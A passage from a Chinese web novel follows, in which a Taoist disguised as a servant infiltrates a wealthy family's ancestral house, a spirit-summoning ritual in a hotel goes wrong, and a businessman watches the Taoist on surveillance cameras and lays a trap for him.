吴妄脚步极轻，每一步都像是踩在时间的缝隙里，生怕惊扰了这寂静的老宅，微弱的月光透过窗户的缝隙洒进来，在地上勾勒出斑驳的光影，他就借着这若有若无的光亮，小心翼翼地穿过堆放着食物的架子，避开横七竖八的桌椅，突然看见门后挂着写仆人的衣服，他眼中波澜一动，顺手抄走了一件上衣和一条裤子，套在了自己身上，并拿走了一个厨师的帽子戴在头上，便低着头走了出去。
他记得刚才听到梁业和秘书商量过这些丧仪的事情，其中一条便是请了青城山的道士为逝去的老太夫人诵经祈福，希望老太夫人往生极乐，下辈子投个好胎。
也就是说，在这祖宅中，是有他们青城山的人在的，那么只要混入其中，便能打听到不少与梁家有关的消息。
真是得来全不费工夫，要知道这么简单就能进入梁家祖宅，他就跟着他那些师叔师伯一起下山当诵经道士了，至少不必如此刻一般在此地久久徘徊、不得门法。
吴妄换上了梁家仆人的衣服，从另一侧门离开了后厨。
没走几步路，他迎面便看到了几个穿着黑色制服的保安。
他心下一惊，正想着自己的运气怎么会如此之差，转身就想走，没想到下一秒直接被对方给叫住了——
“喂，那个后厨的小子，叫你呢！跑什么跑？”
吴妄听了那声音明显是在叫他，此时虽然急着脱身，但也担心打草惊蛇，万一惊动了其他安保人员，甚至是祖宅里的梁业，那也吃不了兜着走。
在心里权衡了一番后，他打算先按兵不动。
至少，先装作一个平平无奇的仆从。
“是。”
他转了回去，低着头，应声。
“你跑什么跑？看到我们掉头就跑？妈的，本来今天打牌输了就烦，看到这样的晦气鬼更恨了！”
一个大块头的保安走到了吴妄面前，在他身后跟着其他几个相对年轻的保安，他似乎是这个巡逻小队的队长，后面跟着的都是他带着的“新兵蛋子”。
“不是，我想着刚才我出来厨房之前，煤气好像还没有关，我们厨师长之前千叮
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咛万嘱咐了要注意安全，我担心……所以我想回去看看。”
“什么煤气不煤气的，现在里面正在做饭，一时半会儿也不需要关煤气，我看你就是看我晦气，想避开我，对不对？！”大块头有点儿无理取闹了起来。
他今天输了钱，总得是要找个人出气。
只不过正好在这个当口，撞到了潜入梁家的吴妄。
若是放在平日里，这样有勇无谋的大个头，吴妄可以一口气放倒五个，但是现在不同，这是在梁家，自己的身份只是一个小仆人，要对抗保安队的小队长？如果闹大了，自己的身份怕是一下子就被拆穿了。
吴妄沉下心来思考了一番后，捏着嗓子接续说道：“怎么会呢，哥，我可不敢瞒您，我们后厨的人对您都是一万个敬佩，您这么年轻就当上了队长，以后在这梁家，我们可全都仰赖您照顾呢。”
吴妄的这番话说得好听，倒是让大块头心里舒坦了不少。
“哟嚯，你这小白脸还挺会说话。”大块头冲着吴妄轻哼，“你可别打量着我好骗，我不过是一个干保安的，和你们这样的人没什么区别，大家都是打工的牛马罢了，指着这点工资，充饥罢了，你若是有孝心，就给点意思意思，让小爷我晚上再去试试看手气，若是赢了，也分你几成。”
吴妄听出了大块头话里话外的意思，但是他并不想就这么给钱。
“这，我一时间身上没有带钱。”
“什么？合着你打量着我是傻子，在那儿蒙我呢？”大块头不悦，他手下的那些人也开始起哄。
“大哥，给他点颜色瞧瞧！”
“这人看着就很可疑，把他送到头头那边去！”
“后厨是不是真有这么个人？大哥，我怎么瞧着这个人这么面生呢？”
吴妄眼见那些小喽啰似乎要坏事，忙补充说道：“我真是后厨的，不过我是最近新来的，所以有的小哥才觉得我脸生，不过……大哥，您先别急，我有一手卜卦的祖传手艺，不知道您今晚买的是哪个？我给您算一算，您按照我的卦象买，保准您错不了。”
“什么？你这家伙还会卜卦？”
“不错，只要我掐指一算，这天下间，就没有我不知道的事情。”吴妄说着，便摆出了掐指卜卦的手势。
要知道，太极生两仪，两仪生四象，四象生八卦，这天下所有事情都逃不过天理寻常。
道家的卜算，是在周易的基础上衍合了天、地、人等多种因素进行推演，从而预判事情的发展趋势。
天下大事，都逃不过一个卦。
吴妄闭上眼睛，掐指一算，心头有了个答案。
“大哥，如果我没有算错的话，你应该姓赵，对吧。”
大块头一愣：“哟，你这家伙居然还真有两把刷子，你怎么知道我姓赵？”
“都是我算出来的，不止如此，我还算到今天晚上如果您要押宝的话，宜大不宜小，只要您听我的，保管让您赚得盆满钵满！”
190. 迷宫
“哟嚯，你小子还会算命？好好好，那我今天晚上就按照你说的下注，如果你小子说得准的话，小爷我从此在梁家老宅就罩着你，但如果让我知道你小子是胡诌的话……”
“您尽管把心放到肚子里去，在卜卦这一块儿，我可不是跟您吹牛，那还真算得上是有些许手艺傍身呢。”吴妄满脸堆笑，赶忙回应道，同时不忘向对方投去一个自信满满的眼神。
不得不说，在忽悠人这方面，他确实有一套。
这技能，像是青城山绝活，在他下山之后，更是练得炉火纯青。
他接着说道：“您可一定要记好了呀，不管您最终决定押注的是哪一款，都得挑那些个以双数结尾、特别是4结尾的数字哦。您瞧瞧您今儿个这精气神儿，那叫一个足！虽说之前一段时间您的运势可能稍显低迷了些，但别担心，运势有高有低，低则必反，尤其今天晚上七点到八点这段时间，要是能趁着这会儿下注，保准您鸿运当头，一路高歌猛进呐！”
他的说话语气像极了东北的大忽悠，完全和平日里的吴妄道长判若两人，如果不认识吴妄的人，乍一看，还会以为他是街边的骗子。
“正所谓，富贵如云烟，得其时而用之，您是有财运的人，而且财运还不小，但是机不可失时不再来，须得抓住机会，才能一跃而升。”
不过，不同话术针对的人也是不一样的。
对于刚输了钱的赵队长来说，给他指点一个转机，这就是他目前最需要的，再说上一点吉利话，就更是让他听得心花怒放。
赵队长听着吴妄的话，感觉这小子似乎有两把刷子，而且他从来没有
听到这里，赵队长人不禁哈哈大笑起来，拍着吴妄的肩膀说道：“行啊，你这小家伙看上去倒是挺有两下子的嘛！成，那我就暂且信了你这番话，先照你说的买上几手试试看，哈哈哈哈……”赵队长听了吴妄的话，倒是暂时没有怀疑吴妄来路不明，他满心都是关于押注、赌注的事情，今日听了吴妄这番话，只感觉自己手气来了，定是要打一个“咸鱼翻身仗”，把从前失去的钱赢回来才好。
“走，我们先把该巡逻的巡逻完，我带你们去吃香的喝辣的。”
“好！”
赵队长带着一帮手下走了，临走时不忘拍一拍吴妄的肩膀。
吴妄低着头，听见那脚步声逐渐远去，这才稍稍抬起头瞅了一眼，看着那伙儿人的身影消失在走廊的转角处，这才松了口气。
他不敢耽误时间，生怕待会儿赵队长想起什么转头又来为难自己，忙一溜烟顺着墙角往走廊的另一头去了。
他沿着走廊走了许久，越往深里走越感觉梁家祖宅如同一个迷宫一样深不可测。
从外面看来，这座建筑黑色的屋檐，高高的围墙，围住了里面的一切景致，这座建筑呈现出层层叠叠的四合院结构，宛如一座错综复杂的迷宫，大院子紧密地嵌套着一个个小院子，它们之间通过众多蜿蜒曲折的回廊相互连通。当人们踏入这座宅院时，才惊觉其中另有一番天地。
进入宅院内，首先映入眼帘的便是那些数不胜数的偏门和回廊。
它们如同蛛网一般交织在一起，串联起各个不同的空间，让人仿佛置身于一个神秘而又充满未知的世界里，不同的院落还巧妙地运用隔板划分出了大小不一的区域，有些区域宽敞明亮，可能是主人家举办宴会或接待贵宾的场所；有些则相对狭小紧凑，或许是仆人们日常起居之处，仿佛给人一种错觉，这座建筑像是会吃人一样，将进入其中的每个人都吞噬殆尽。
再看那一个个院落之中，到处都是忙碌的身影。
众多仆人各司其职，有的正拿着扫帚清扫庭院，有的则手提水桶匆匆走过，还有的在修剪花枝、擦拭门窗、端茶送水、安保巡逻……他们来来往往，络绎不绝，每个人都专注于自己手头的工作，整个宅院里弥漫着一种紧张而有序的氛围。
吴妄从他们身边走过，他们却也没有看一眼吴妄，他们每个人都低着头做自己的事情，像是接受过专门的教育一样，非礼勿视，非礼勿听，在这个地方工作，不是自己分内的事情就不要沾染，他们行走在这宅院中，神色匆匆，如同机器人一样，只会执行管家分配给自己的任务。
吴妄看着那些面无表情的仆人，心中诧异。
他们一个个看起来皆是脸色苍白，面无表情，动作也十分机械僵硬，看起来完全没有活人的生机，反而像是被困在这宅院里，日久天长中被吸干了“精气神”一样，只剩下麻木冰冷。
这样的人，他只在清朝的老照片里看过。
明明全都是活人，但是看上去却死气沉沉的。
就像是……
来到了活死人墓。
吴妄低着头，心中是这么想着的，但仍旧是收敛了神色。
他知道自己的此行的目标不是这些不言不语的仆人，他需要调查到更多的线索，最好是……与吴家村有关的线索。
吴妄心中如此思忖着，脚下的步伐不由自主地加快了许多。然而，让他感到怪异的是，尽管自己已经在这梁家祖宅中转悠了很长时间，但始终未曾见到任何与青城山有所关联之人。
这座宅子从里面向外望去，那片天空竟呈现出四四方方的形状，仿佛被一道无形的屏障所束缚住一般，给人一种极为压抑且闭塞的感觉，而宅内的每一条走廊以及各个小院看上去都是那般相似，犹如复制粘贴而成，如果是那些方向感欠佳之人置身其中，恐怕就算在此处兜兜转转数个时辰，也丝毫不足为奇。
吴妄就这样不停地走着、找着，时间一分一秒过去，可他依然未能发现青城山之人的踪迹，就连太夫人的灵堂究竟位于何处也是毫无头绪。
随着时间的推移，他的心绪渐渐变得焦急起来，额头上甚至开始冒出细密的汗珠。
这时，两个从身边路过的仆人说的话倒是从他耳
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畔飘了过去，引起了他的注意——
“诶，要去给那些道士送茶水吗？”
“对，老爷吩咐了，毕竟是青城山请过来的贵宾，要我们好生招待，茶水方面不能怠慢了。”
“但是我手头还有好几件事情要做，我才没这个时间去理会那些道士呢。”
“但是……那毕竟是周秘书请过来给太夫人守灵的，我们还是不要怠慢了，不然回头周秘书怪罪下来，沈管家会让我们吃不了兜着走的……”
“我这一天天忙得脚不沾地的，我哪有时间去送茶水啊，梁家就给我一份工资，把我当三个人用，骡子都没有这样用的。”
听到这里，吴妄停下了脚步。
这不就是得来全不费工夫吗？
他在这宅子里绕了好久，就是没有看见青城山的人，现在不就现成着有一个送上门的机会了？
这么想着，吴妄停下了脚步，转身说道：“两位姐姐，如果不嫌弃的话，我可以去送茶水给那青城山的道长们。”
吴妄露出了一个亲和的微笑。
听到这里，两个大姐停下了脚步，将信将疑地转过头看向了吴妄，她们的目光上上下下地将吴妄打量了一圈，最后目光停留在吴妄的笑脸上。
“你……你是哪儿的？我怎么从来没有见过你？”
“我是厨房的，是后厨新来的，叫我小吴就好。”吴妄继续保持微笑。
“小吴？哦哦，你是后厨吴大娘的亲戚吧，我就说你这孩子跟她的脸型有点像。”
“是的，但是我是新来的，今天也没有什么事情做，左右我想更了解一下以后的工作环境……两位姐姐不嫌弃的话，就让我来送茶水吧，您二位跟我说那些道士在哪里，我去茶水间取茶送茶，自然不劳烦二位操心。”
眼前的这位小吴虽然看起来年轻，但说话做事似乎都挺老练的，两位大婶已经上了年纪，但还是被这小鲜肉一口一个“姐姐”地称呼着，自然心中舒坦。
“但是……这是沈管家吩咐我们的事情，现在丢给你，是不是不太好啊？我感觉沈管家会说我们偷懒的。”
“对啊，沈管家那个人，鸡贼起来可不得了。”
两位大婶面露难色。
看来，那位“沈管家”确实是一个严以律下的角色。
吴妄默默点了点头，话锋一转：“不会的，二位姐姐，这件事情只有我们三个知道，您二位不说，怎么会有人知道呢？”
“但是……”
“放心吧，如果上头真的追究下来，我会承担这些的。”
“那行，反正我手头事情也一大堆了，你就帮我去茶水间取点茶水送过去。他们在东厢房，你从这里直走，往右绕过三个走廊，再直走到底，最后左转，找到第三个门，就是了。”
“好的好的。”
吴妄忙点了点头，他也不问茶水间在哪里，点头应和着就朝着走廊另一头而去。
191. 诡异的黑雾
“这个地方果然有点问题……”沈聆好不容易擦掉了玻璃上的血字，转头看向了宋明夷。
宋明夷低着头，不安地咬着大拇指的指甲，她蜷缩着肩膀，看起来很冷的模样。
“……你怎么了？”
宋明夷转了转眼珠子，小心翼翼地看着周围，就仿佛那不为人知的地方有无数双眼睛正盯着自己。
“小聆聆，我觉得这个房间很奇怪。”
“是啊，我觉得有眼睛的人应该都看得出来，毕竟……玻璃上莫名其妙地出现血字可不是什么常见的事情。”
沈聆放下手中的抹布，并用水龙头冲干净了洗手池。
不知道为什么，在走入卫生间的时候，她总感觉寒浸浸的，她环顾了一圈，发现这间卫生间明明没有安装空调系统，但卫生间的温度就是比房间要更低一点，卫生间的天花板上安装着通风口，可通风口的开关没有开启，但通风口的扇叶却轻轻转动着，而那白色的扇叶后，更是令人不安的黑暗。
“叮铃……”
沈聆突然听到了手环的声音，她抬起手，发现手上那串红手链上的银铃正轻轻晃动。
【看来是有东西在这里……】
沈聆这么想着，心下拿定了主意。
【酒店经理只给我们一晚上的入住时间，也就是说，如果要招魂，今晚也是最好的机会。】
沈聆沉思着，走出了卫生间。
宋明夷见状，忙跟了上去：“小聆聆，你有什么想法吗？”
“今晚，我想试试看在这里【祭魂】。”
“可以吗？”
“嗯，如果我没有感觉错的话，这里的确有一些不干净的东西，而且对方的怨气应该不小。”
“……好。”
……
做好准备工作后，沈聆盘腿坐在了卫生间前的走道上，宋明夷蜷缩在沙发后面，冒出一个小脑袋好奇地看着沈聆这边的方向，虽然每次招魂祭魂的过程都让她十分害怕，但作为一名灵异主播，她仍旧是不忘记将摄像头对准了沈聆。
获取题材，拍摄剪辑，才是她来到这里的目的。
将香炉和镜子依次放好后，沈聆用火柴点燃了三支香，白色的烟雾袅袅升起，这香的味道让她安定了几分心神。
她恭敬地将这三支香插入了小香炉内，双手合十，闭上了眼睛。
“我是第44任阴厨，沈聆，祭告上苍，抚慰亡灵，今天晚上我欲拜祭的，是死在这房间里的亡魂，有冤诉冤，有恨报恨，以我凡眼，得见冤魂。”
说完这句话后，沈聆合拢手掌。
“天地阴阳，万物生灵，幽幽魂魄，徘徊于世，以灯为凭，以香为引，招魂于此，速速现身。”
念完口诀后，她明显听到了手链上串着的铃铛发出了更清脆的声音，耳畔，似乎有一阵阴风擦了过去。
那风中夹杂着血腥的味道，一阵彻骨的寒气从身后而来，填满了整个房间。
沈聆悠悠地睁开双眼，仿佛被一股无形的力量从深沉的黑暗中唤醒。她缓缓地、有些艰难地抬起了头，目光先是落在了那苍白的墙壁之上。
只见原本平整光滑的墙面，此时竟像是被某种神秘的力量侵蚀一般，不断有大片大片的血迹从中渗出来，那些暗红色的血液，如同一条条蜿蜒爬行的毒蛇，顺着墙壁向下流淌，然后在墙角处汇聚成一滩滩猩红的血泊。
紧接着，她的视线移向了头顶上方的天花板，同样的景象再次映入眼帘——天花板也未能幸免，血迹从四面八方蔓延开来，交织成一幅令人毛骨悚然的画面，而更让人胆寒的是，就连脚下踩着的柔软地毯，此刻也已被鲜血浸透，变成了一片触目惊心的血海。
随着时间的推移，这些暗红色的血液开始相互融合、流动，渐渐地形成了一条汹涌澎湃的血河。
就在这时，无数双白骨化的手突然从血河中伸了出来！它们在空中胡乱挥舞着，指甲划过空气时发出阵阵尖锐的声响，仿佛是在拼命抓取着什么东西。
与此同时，一阵阵若有若无的哭诉声传入了沈聆的耳中。
“嘤嘤嘤……”
起初声音还很微弱，但很快就变得清晰起来，那是一种充满绝望与哀伤的哭泣，仿佛来自于九幽地狱的深处，这些哭声在房间里回荡着，犹如一首凄凉的挽歌，又似黄泉路上冤魂们的低语呢喃，每一个音符都深深地刺痛着沈聆的心弦，勾起了她内心最深处隐藏已久的恐惧和哀伤……
【这是，黄泉路……】
“叮铃……”
【银铃响，冤魂至！】
沈聆看向了小镜子。
此时，她看见在小镜子里，有一个模糊的身影逐渐清晰地出现在了自己身后。
那是一个令人毛骨悚然的场景，只见一个披头散发的女人悄然出现在那里，她身形消瘦得如同风中残烛，仿佛一阵微风就能将其吹倒，身上所穿的衣物本应是洁白如雪，但此刻却已被鲜血染成了触目惊心的红色。
那些暗红色的血液早已干涸凝结，紧紧地依附在她的头发和衣服之上，形成一片片斑驳的血迹，宛如一幅诡异而恐怖的画卷，她就那样静静地伫立着，一动不动，仿佛与周围的世界完全隔绝开来。
“嘶……”
就在这时，她似乎察觉到了来自镜子里的沈聆的目光。
于是，她缓缓地微微抬起了头。
透过那凌乱不堪的发丝间隙，沈聆惊恐地发现，发丝的间隙中有一只血红色的眼眸正死死地盯着自己！那只眼睛犹如燃烧中的火焰一般，透露出无尽的邪恶与怨恨，让人不寒而栗。
“咔嚓！”
镜子突然出现了裂痕！这道裂痕自上而下将镜面一分为二，左边，是沈聆，右边，是那女鬼，恰如阴阳分割的线，将活人与亡灵分隔开来。
“不好，这是恶灵！”
沈聆话音刚落，只见眼前的镜子瞬间碎裂！
就在那碎成无数细小碎片的玻璃砸落在地面的一瞬间，一股令人毛骨悚然的景象出现
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了，只见无数道漆黑如墨的气体仿佛找到了突破口一般，争先恐后地从镜子的碎片中疯狂地喷涌而出，这些黑气如同拥有生命一般，迅速地汇聚在一起，形成了一团浓重得化不开的黑色烟雾。
这团诡异的黑烟以惊人的速度将沈聆紧紧地包裹了起来，就好似一条条邪恶的黑色藤蔓，贪婪地伸展着它们细长而扭曲的身躯，牢牢地缠绕在了沈聆的周身！
它们毫不留情地覆盖住了她娇嫩的肌肤，甚至还沿着她的四肢蜿蜒而上，一路向着她纤细的脖颈攀爬过去。
这黑色的雾气散发着一种浓烈到极致的腐烂气息，让人闻之作呕,，同时，它还挟带着彻骨的寒冷，仿佛能够穿透人的骨髓，直抵灵魂深处，这种寒意如同一把锋利的匕首，无情地刺向沈聆的每一寸肌肤，让她感到一阵又一阵难以忍受的剧痛。
此刻的沈聆身处在这片恐怖的黑雾之中，只觉得自己的身体仿佛被施加了一道无形的枷锁，沉重无比，根本无法挪动分毫，她瞪大了惊恐的双眼，徒劳地试图挣扎，但一切努力都只是白费力气，只能眼睁睁地看着那团黑雾逐渐逼近，一点一点地将自己吞没。
“小聆聆！”
宋明夷见状，来不及顾及许多，从沙发后冲了过来。
“别过来！”
在黑雾即将完全吞噬沈聆的那一瞬间，宋明夷拉住了她的手，下一秒，黑雾之中伸出了无数双黑色的手，将沈聆往黑雾的深处拖拽而去，连带着拉着她的宋明夷，一起拖入了那黑色与红色交织的噩梦之中。
“不要——”
……
就在这时，远在千里之外的吴妄动作停顿了一下，他抬起头看向了某个方向，不知道为什么，刚才心脏似乎刺痛了一样，他感觉到陵川市的方向似乎发生了什么奇怪的事情，但是他现在远在西乡，根本无法顾及。
“……是我多心了吗？”
他微微皱起眉头，摇了摇头。
“算了，当下，还是先找到青城山的人要紧，好不容易混入了梁家祖宅，先完成手头的事情。”
只不过，他在这里绕了许久，都没有看到青城山的人，按道理来说，他们应该在某一厢房休息，准备着做法事的道具才对。
不过还好，并不是完全没有线索。
按照刚才那位大婶的说法，青城山的人在东厢房，直走，往右绕过三个走廊，再直走到底，最后左转，找到第三个门，就是东厢房。
吴妄按照那位大婶的说法，绕过那些弯弯绕绕的长廊后，来到了一处古色古香的厢房门口，他站在门外，隐隐约约看见厢房里昏暗的灯光，里面似乎也有人影摇曳，但是站在门外，听不见门内的声音，他无法知道厢房内的是否真的是青城山的人。
不过，来都来了，还是得进去看一下。
毕竟有了青城山这一层身份作掩护，在梁家祖宅里办事，也会更加方便。
这么想着，吴妄抬起手，敲了敲房门。
“您好，我是来送茶水的。”
192. 下套
在吴妄第一遍敲门的时候，厢房内并没有任何回答。
但明明厢房内亮着灯，并且他也看见了那摇晃的影子，对方在他敲门的时候，甚至身形停顿了一下，明显是听到了他的声音。
避而不见，是何道理？
道长心下生疑，却也还是礼貌地敲了第二遍。
“您好，我是来送茶水的。”
又等了五六秒钟，这一次，房间里的人终于有了回应。
“请进。”
房内传来一个低沉沙哑的声音。
吴妄心下纳闷，自己在青城山没有听过这个声音，房内之人似乎不是青城山的人，但是既然已经走到这一步了，他也只能硬着头皮推门而入。
微微低下头，他将自己的脸藏在了阴影之中，推门而入。
“吱呀——”
在房门被推开的时候，一种檀木的味道缓缓沁入鼻息之中。
吴妄走进房间，他虽然低着头走着，但眼睛滴溜溜地注意着周围。
道长眼角余光发现这是一间古色古香陈设的房间，一盏昏黄的灯悠悠悬于梁下，晕染出一圈圈暖黄的光晕，恰似将岁月的沧桑都温柔包裹。
雕花的窗棂透进几缕微光，与灯光交织，洒在地上，映出窗格错落有致的影子，仿若神秘的图纹，四壁皆是木质，纹理间藏着流年的故事，一幅古朴的山水画卷挂于墙上，墨色浓淡间，是古人遥寄的诗意，画旁悬着一把陈旧却不失雅致的古琴，弦丝在微光中若隐若现，似在低吟浅唱。
“您好，这是您的茶水，管家吩咐我送来的。”
吴妄走到桌前，将手中的茶壶、茶杯放下。
房中置一檀木桌，色泽深沉，桌上摊开一本古籍，书页泛黄，桌角摆放着一方端砚，墨香悠悠，与屋内的沉檀香气相融，弥漫在每一寸空气里。
几把太师椅分列两旁，椅背上的刺绣虽有褪色，却仍能辨出龙凤呈祥的精致模样，静静候着来客，仿若要将往昔的高谈阔论、笑语欢声一一重现。
角落里，一尊青铜香炉袅袅升腾着青烟，烟缕盘旋而上，模糊了灯光的边界，为这厢房添了几分如梦如幻的缥缈，让人沉醉，不舍离去。
“嗯，你退下吧。”
说话的，是坐在桌旁的一个男人。
吴妄微微垂着头，目光所及之处仅仅能够看到那个人脖颈的部位。
从这个角度望去，尽管无法看清其全貌，但仅就那若隐若现的身影轮廓而言，可以大致判断出对方的身材稍显瘦削，此人的肤色呈现出一种黝黑色泽，仿佛长期暴露在阳光之下，历经了风吹雨打。
而此时，只见他正悠然地倚靠在那张陈旧的木桌之上，姿势看似随意却又带着几分慵懒。
尤其引人注目的是，他的右手布满了厚厚的老茧，那些粗糙的纹路和坚硬的凸起，犹如岁月留下的深深印记，无声地诉说着这只手曾经经历过无数次辛勤劳作与磨砺。
吴妄注意到，在他的右手的手腕处，有一块暗紫色的印记。
那块印记的边缘有点模糊，呈现出上小下大的模样，边缘粗糙着，远远看过去，像是一块水滴的形状，又像是一团黑色的火焰。
见此印记，吴妄突然感觉到有点儿熟悉，但是自己又说不出在哪里见到过，这块印记似乎唤醒了他记忆中的某个地方，缠绕在心头的熟悉感一时之间挥之不去，说不清，却又道不明。
犹豫之间，对方似乎察觉到了他的困顿。
“嗯？你还不走吗？”
“额，没有，我只是……愣神了一会儿，请问您手上的那个是天生的胎记吗？”
闻言，对方忙扯了扯袖子，将这块黑色的印记遮挡起来，并带着几分愠怒说道：“你只是一个下人，不该问的事情不要多问，不该管的事情不要多管！”
见对方生了气，吴妄忙低下了头，做小伏地了起来：“是、是……”
“滚！”
闻言，吴妄这才缓缓退出了房间。
在关上房门的那一刻，吴妄陷入了沉思。
他不知道对方是谁，只是感觉对方手上的印记自己似乎在哪里见到过，但无论如何，这间房间都不是青城山道士们的房间，在青城山长大的他，从来没有见过这个人，更没有听过这个人的声音。
那么，这个人是谁？
他和吴家村灭村的惨案是否有关系？
他是梁家的人吗？
吴妄沉默着，转头离开。
“东厢房……按道理应该是客房，如果是梁家的人，应该不至于住在这里才对……”
他心事重重地离开了东厢房，就在这时，一个声音通过传音入迷之术，传入耳中。
“道长！救命啊——”
吴妄脚步一顿，抬起头看向了声音传来的方向。
“沈聆？！”
这声音明明就是沈聆的声音，着急忙慌中带着几分绝望，吴妄的心一下子揪了起来。
顾不得许多，他丢下手中的茶盘，身形一动，那身影越过房顶，几步之下，便离开了梁家祖宅。
此时，在他身后，有个监控摄像头随着他的工作转动了一下，盯着他消失的方向，拍摄下了这一切画面。
而在监控摄像头的屏幕端，一个西装革履的男人正坐在屏幕前，看着屏幕上的这一幕，他冷笑了一声。
“年轻啊，到底还是沉不住气。”
他悠然地端坐在那张漆黑如墨、散发着冷冽气息的老板椅上，身体微微后仰，而在他眼前，则整齐划一地摆放着十余个电脑屏幕，这些屏幕紧密相连，如同镶嵌在墙壁上一般，将整面墙都覆盖得严严实实。
每一个电脑屏幕上所显示的画面，都是梁家祖宅内部各个角落里的景象。
通过那些高清的监控摄像头，可以清晰地看到祖宅中的一草一木、一房一舍，从庄重肃穆的大堂到清幽宁静的花园，再到隐蔽神秘的地下室，所有场景都尽收眼底。
此时，这些屏幕上正实时播放着不同区域的动态影像。
有的屏幕里，几个
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仆人正在忙碌地打扫庭院；有的则显示着厨房中厨师们精心准备佳肴的身影；还有的能看到书房中书卷被轻轻翻动的细微动作……无数个生活片段交织在一起，构成了一幅生动鲜活的梁家祖宅全景图。
此人面容威严，仪表堂堂，他便是当前梁氏集团的话事人，梁业。
在他身后，穿着职业装的女秘书递来了一杯咖啡。
“梁总，您的黑咖啡。”
“嗯，放着就好。”
女秘书抬眼看了一眼屏幕：“那个道长走了吗？我们特地安排人在他面前说话，把他引到东厢房，他上钩了。”
“嗯，看这样子是走了，我让世纪酒店的梁经理用传音入迷之术将那小姑娘的声音传了过来，他听见了那小姑娘的声音，就着急忙慌地跑了，呵，一介鼠辈，跟屋檐下逃窜的老鼠有什么区别？”
女秘书也跟着一笑：“不过这样看来，他倒是很紧张那个小姑娘呢。”
梁业一声冷哼：“眷恋于情爱之人，注定难成大事。”
梁业的眼眸阴冷着，闪烁着就寒光。
“这不是很好吗？他是我们目前知道的唯一一个可能和吴家村有关的人，我们要搜集轩辕氏所有的稀血，他或许能帮我们补齐最后一环。”
梁业点了一根雪茄，深吸了一口，他抬起头，看着那一个电脑屏幕上放映的画面，就像高高在上的神明，俯视着世间众生。
女秘书微微一笑，她的笑容妩媚中带着几分阴森的寒意：“当年我们让顾老五带人办事，他办事不力，没能让我们我们集齐所有轩辕氏稀血，这次用顾老五当诱饵，挖出吴家村的后人，也是他应该为梁总做的。”
“哼，顾老五，一介匹夫罢了，如果不是我们梁氏赏脸给他一口饭吃，当年他早就饿死街头了，哪有现在娶妻生子的好事。”
“最近我看咱们世纪大酒店的营业额挺好的，顾老五的儿子还算能干，虽然酒店发生了凶杀案，他却能以此为契机，用灵异话题引人注意，最近酒店的名气倒是提升了不少。”
“是啊，要不是看他们还有一点利用价值，他们还真不配苟活这么多年。让顾老五活到现在，我们梁氏也算是仁至义尽了，趁着他的蛊毒还没有发作，把他作为棋子，引出吴家村后人，这也是他最后一点价值。”
他话锋一顿，继续说道。
“只不过，还无法确认那个叫吴妄的小子究竟是不是吴家村的后人，当时屠村，偏就少了一个小孩，那个叫吴妄的来自青城山，难道说，这其中还有青城山的手笔吗？”
“但是，他也姓吴，我感觉……”
“但是，如果他真的是吴家村的后人，青城山难道不会考虑到还会有人追杀他吗？如果是我的话，改名换姓，隐姓埋名，这不是更好的办法吗？”
“这……”
“还继续让他姓吴，这究竟是缺心眼，还是一种障眼法呢？”
梁业深吸了一口雪茄，长长地吐出了白色的烟，那缭绕在身周的烟气，也氤氲了他的面容。
193. 骷髅女
沈聆只感觉到一阵天旋地转，周遭的一切瞬间被黑暗吞噬，连同宋明夷的尖叫声一起，消失在了伸手不见五指的黑暗之中。
等她再度有了视觉时，发现自己身处一个陈旧昏暗的空间。
头顶惨白的灯光照亮了小小的空间，包括发霉的镜面，地上的水垢，墙壁的霉斑，以及……面前的一位身穿红色连衣裙的姑娘。
她站在她面前，穿着红色的裙子，看着眼前镜子里自己的倒影，丝毫没有察觉到沈聆的存在。
但让沈聆感到毛骨悚然的是，细细看去，这女人居然是一具骷髅！
沈聆的目光被眼前的景象牢牢吸引住了，她的心跳不由自主地加快了。
眼前这场景可不常见，只见那黑色的长发如瀑布般垂落在眼前这女子的身上，仿佛是黑夜中流淌的墨汁，散发着诡异的气息。
然而，更让人毛骨悚然的是她的脸，那简直就是一副没有任何血肉的骨架！
沈聆可以清晰地看到她的眼眶、鼻骨、颞骨，甚至是那一颗颗暴露在外的牙齿，在卫生间白色灯光的映照下，她的头骨泛着一丝阴森的光芒，仿佛是来自地狱的使者。
她那已经完全白骨化的手，正握着一把酒店的一次性梳子，一下又一下地梳理着自己的头发。
每一次梳子划过发丝，都发出轻微的“沙沙”声，在这寂静的房间里显得格外刺耳。
她似乎并不知道自己只是一具骷髅，只见她全神贯注地凝视着镜子，微微张开嘴巴，露出了颅骨内若隐若现的喉骨，那喉骨在灯光下闪烁着微弱的光芒，仿佛是在嘲笑沈聆的恐惧。
她对镜梳妆的样子，看起来只是一位再普通不过的姑娘，对着镜子梳洗打理。
而且，这骷髅女似乎对自己在镜子中的形象非常满意，不断地调整着梳子的角度，让每一根发丝都柔顺地垂落在她的肩膀上，她的动作缓慢而优雅，仿佛这并不是一具恐怖的白骨，而是一个正在精心打扮的美丽女子。
沈聆不敢说话，也不知道自己面前的这个骷髅女人究竟是谁。
她感觉到脑袋昏沉沉的，费尽心思努力回想，也只能想起自己在片刻之前还在酒店的房间。
自那之后，她究竟经历了什么？为什么会在这里？
她一无所知。
只是，手上那红绳子上的银铃轻轻晃动着，让她知道自己此刻或许身处某只恶鬼的结界之中。
沈聆想要转身逃离，双腿却像是被钉住一般无法挪动。
她只能看着那穿着红裙子的骷髅在自己面前一次又一次地重复着同样的梳妆动作。
突然！
那白骨像是察觉到了她的存在，拿着梳子的手停了下来，骷髅女人缓缓转过头，空洞的眼窝子直愣愣地盯着沈聆。
沈聆下意识地屏住了呼吸，吓得心脏狂跳。
【她发现我了吗？】
【她看得见我吗？】
就在她以为骷髅女人要朝她扑过来的时候，神奇的事情突然发生了。
沈聆身体里的灵元草像是听见了骷髅女人的诉求，微微发出了莹绿色的光，那光落在了骷髅女人身上，让骷髅女人身体也发生了变化：
令人毛骨悚然的白骨突然开始发生变化，仿佛被一股神秘的力量所驱动，原本裸露的骨骼上，肌肉如雨后春笋般迅速生长，填充着每一处缝隙和空洞，随着肌肉的不断生长，原本阴森恐怖的白骨逐渐被掩盖，取而代之的是一层血红色的肌肉组织。
紧接着，皮肤也在这层肌肉上悄然浮现，它如同薄纱一般轻柔地覆盖在上面，这层新出现的皮肤白皙如雪，细腻如丝，没有丝毫瑕疵，与此同时，嘴唇也在慢慢变得丰满红润，如樱桃般诱人。
短短几秒钟的时间里，镜子前的景象发生了翻天覆地的变化。
那具原本让人不寒而栗的骷髅，竟然在眨眼间变成了一个面容姣好的年轻女人,她的肌肤吹弹可破，眉眼如画，高挺的鼻梁下，嘴唇微微上扬，透露出一抹淡淡的微笑。
